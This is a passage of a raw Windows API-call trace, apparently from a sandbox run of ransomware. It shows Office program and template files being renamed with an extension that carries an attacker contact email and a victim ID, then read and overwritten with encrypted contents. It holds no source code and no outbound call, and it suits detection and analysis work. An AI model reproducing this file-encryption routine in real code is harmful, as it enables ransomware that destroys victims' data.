returned 1 [0177.420] WriteFile (in: hFile=0x678, lpBuffer=0x71f6217*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71f6217*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0177.420] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.420] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0177.421] CloseHandle (hObject=0x678) returned 1 [0177.421] GetProcessHeap () returned 0x630000 [0177.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f6158 | out: hHeap=0x630000) returned 1 [0177.421] GetProcessHeap () returned 0x630000 [0177.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71f6e78 | out: hHeap=0x630000) returned 1 [0177.421] GetProcessHeap () returned 0x630000 [0177.421] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317ec8 | out: hHeap=0x630000) returned 1 [0177.421] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO_PRM_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x482f84d, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x482f84d, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x2fb3b606, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x523fd20, dwReserved1=0x71f6e78, cFileName="VISIO_PRM_COL.HXT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VI06B3~1.FIR")) returned 0x6d52c0 [0177.421] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0177.421] Sleep (dwMilliseconds=0x1) [0177.478] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS", len=0x3e | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS") returned 1 [0177.478] GetProcessHeap () returned 0x630000 [0177.478] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x2ac8) returned 0x707d3d0 [0177.479] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.509] CloseHandle (hObject=0x678) returned 1 [0177.509] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0177.510] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0177.510] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0177.510] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x38d65f7, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x38d65f7, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4809621, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x4b7b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOH~1.FIR")) returned 0x6d5340 [0177.511] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0177.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\visio.hxs.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0177.511] GetProcessHeap () returned 0x630000 [0177.511] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7377158 [0177.513] GetProcessHeap () returned 0x630000 [0177.513] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7382588 [0177.513] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0177.513] ReadFile (in: hFile=0x678, lpBuffer=0x7377158, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7377158*, lpNumberOfBytesRead=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0185.635] GetProcessHeap () returned 0x630000 [0185.635] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0187.461] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.461] WriteFile (in: hFile=0x678, lpBuffer=0x7382588*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7382588*, lpNumberOfBytesWritten=0x523ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0187.461] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.462] WriteFile (in: hFile=0x678, lpBuffer=0x738d987*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x738d987*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0187.463] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.463] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0187.463] CloseHandle (hObject=0x678) returned 1 [0187.464] GetProcessHeap () returned 0x630000 [0187.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7382588 | out: hHeap=0x630000) returned 1 [0187.464] GetProcessHeap () returned 0x630000 [0187.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7377158 | out: hHeap=0x630000) returned 1 [0187.464] GetProcessHeap () returned 0x630000 [0187.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0187.464] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.465] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\VISIO.HXS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x38d65f7, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x38d65f7, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x35ae3e1a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4b7dc, dwReserved0=0xa0c7496, dwReserved1=0x7377150, cFileName="VISIO.HXS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOH~1.FIR")) returned 0x6d5340 [0187.465] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0187.465] Sleep (dwMilliseconds=0x1) [0187.495] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx", len=0x4e | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx") returned 1 [0187.495] GetProcessHeap () returned 0x630000 [0187.495] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x707d3d0, Size=0x29b0) returned 0x707d3d0 [0187.495] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0187.497] CloseHandle (hObject=0x6a8) returned 1 [0187.497] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0187.497] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0187.498] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0187.499] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae49f22, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2f84, dwReserved0=0x330078, dwReserved1=0x6d, cFileName="centered.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CENTER~1.FIR")) returned 0x6d5580 [0187.499] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0187.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\quickstyles\\centered.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a8 [0187.499] GetProcessHeap () returned 0x630000 [0187.499] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2fa1) returned 0x7458820 [0187.499] GetProcessHeap () returned 0x630000 [0187.499] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x2fa1) returned 0x745b7d0 [0187.499] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.499] ReadFile (in: hFile=0x6a8, lpBuffer=0x7458820, nNumberOfBytesToRead=0x2f80, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7458820*, lpNumberOfBytesRead=0x523ff0c*=0x2f80, lpOverlapped=0x0) returned 1 [0189.625] GetProcessHeap () returned 0x630000 [0189.625] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0189.625] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.625] WriteFile (in: hFile=0x6a8, lpBuffer=0x745b7d0*, nNumberOfBytesToWrite=0x2f80, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x745b7d0*, lpNumberOfBytesWritten=0x523ff0c*=0x2f80, lpOverlapped=0x0) returned 1 [0189.625] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.625] WriteFile (in: hFile=0x6a8, lpBuffer=0x745e74f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x745e74f*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0189.625] SetFilePointerEx (in: hFile=0x6a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.626] WriteFile (in: hFile=0x6a8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0189.626] CloseHandle (hObject=0x6a8) returned 1 [0189.639] GetProcessHeap () returned 0x630000 [0189.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745b7d0 | out: hHeap=0x630000) returned 1 [0189.639] GetProcessHeap () returned 0x630000 [0189.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7458820 | out: hHeap=0x630000) returned 1 [0189.639] GetProcessHeap () returned 0x630000 [0189.639] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0189.639] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0189.639] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\1033\\QuickStyles\\centered.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x36f9433e, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2fa8, dwReserved0=0xa0c7496, dwReserved1=0x7458818, cFileName="centered.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CENTER~1.FIR")) returned 0x6d4e00 [0189.639] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0189.639] Sleep (dwMilliseconds=0x1) [0191.857] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml", len=0x50 | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml") returned 1 [0191.857] GetProcessHeap () returned 0x630000 [0191.857] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74656a8, Size=0x45dc) returned 0x74656a8 [0191.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.visualelementsmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0191.858] CloseHandle (hObject=0x4dc) returned 1 [0191.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0191.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.visualelementsmanifest.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.visualelementsmanifest.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0191.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.859] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x5277b31, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x650072, dwReserved1=0x330078, cFileName="VISIO.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOV~1.FIR")) returned 0x6d4f40 [0191.859] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0191.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\office16\\visio.visualelementsmanifest.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc [0191.859] GetProcessHeap () returned 0x630000 [0191.859] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x161) returned 0x71ead40 [0191.859] GetProcessHeap () returned 0x630000 [0191.859] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x161) returned 0x71eb030 [0191.859] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.859] ReadFile (in: hFile=0x4dc, lpBuffer=0x71ead40, nNumberOfBytesToRead=0x140, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71ead40*, lpNumberOfBytesRead=0x523ff0c*=0x140, lpOverlapped=0x0) returned 1 [0191.861] GetProcessHeap () returned 0x630000 [0191.861] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7176138 [0191.861] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.862] WriteFile (in: hFile=0x4dc, lpBuffer=0x71eb030*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71eb030*, lpNumberOfBytesWritten=0x523ff0c*=0x140, lpOverlapped=0x0) returned 1 [0191.862] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.862] WriteFile (in: hFile=0x4dc, lpBuffer=0x71eb16f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x71eb16f*, lpNumberOfBytesWritten=0x523ff0c*=0x20, lpOverlapped=0x0) returned 1 [0191.862] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.862] WriteFile (in: hFile=0x4dc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x523ff0c*=0x4, lpOverlapped=0x0) returned 1 [0191.862] CloseHandle (hObject=0x4dc) returned 1 [0191.862] GetProcessHeap () returned 0x630000 [0191.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71eb030 | out: hHeap=0x630000) returned 1 [0191.862] GetProcessHeap () returned 0x630000 [0191.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x71ead40 | out: hHeap=0x630000) returned 1 [0191.862] GetProcessHeap () returned 0x630000 [0191.862] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7176138 | out: hHeap=0x630000) returned 1 [0191.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0191.862] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\VISIO.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fcc4 | out: lpFindFileData=0x523fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1dddc34, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1dddc34, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x384e41a7, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x176, dwReserved0=0x523fd20, dwReserved1=0x71ead40, cFileName="VISIO.VisualElementsManifest.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VISIOV~1.FIR")) returned 0x6d5000 [0191.863] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0191.863] Sleep (dwMilliseconds=0x1) [0192.961] SysReAllocStringLen (in: pbstr=0x523ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx", len=0x4f | out: pbstr=0x523ff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx") returned 1 [0192.961] GetProcessHeap () returned 0x630000 [0192.961] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47d8) returned 0x7133a90 [0192.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6f4 [0193.565] CloseHandle (hObject=0x6f4) returned 1 [0193.565] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.565] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0196.560] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x523ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0196.560] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x523fc6c | out: lpFindFileData=0x523fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6ee7d1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6ee7d1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6ee7d1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x72a6, dwReserved0=0x780065, dwReserved1=0x6d0033, cFileName="BloodPressureTracker.xltx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="BLOODP~1.FIR")) returned 0x6d5240 [0196.560] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0196.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\BloodPressureTracker.xltx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\bloodpressuretracker.xltx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0196.562] GetProcessHeap () returned 0x630000 [0196.562] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x72c1) returned 0x7458538 [0196.562] GetProcessHeap () returned 0x630000 [0196.562] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x72c1) returned 0x711d230 [0196.563] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.563] ReadFile (in: hFile=0x4bc, lpBuffer=0x7458538, nNumberOfBytesToRead=0x72a0, lpNumberOfBytesRead=0x523ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7458538*, lpNumberOfBytesRead=0x523ff0c*=0x72a0, lpOverlapped=0x0) returned 1 [0201.019] GetProcessHeap () returned 0x630000 [0201.019] RtlAllocateHeap 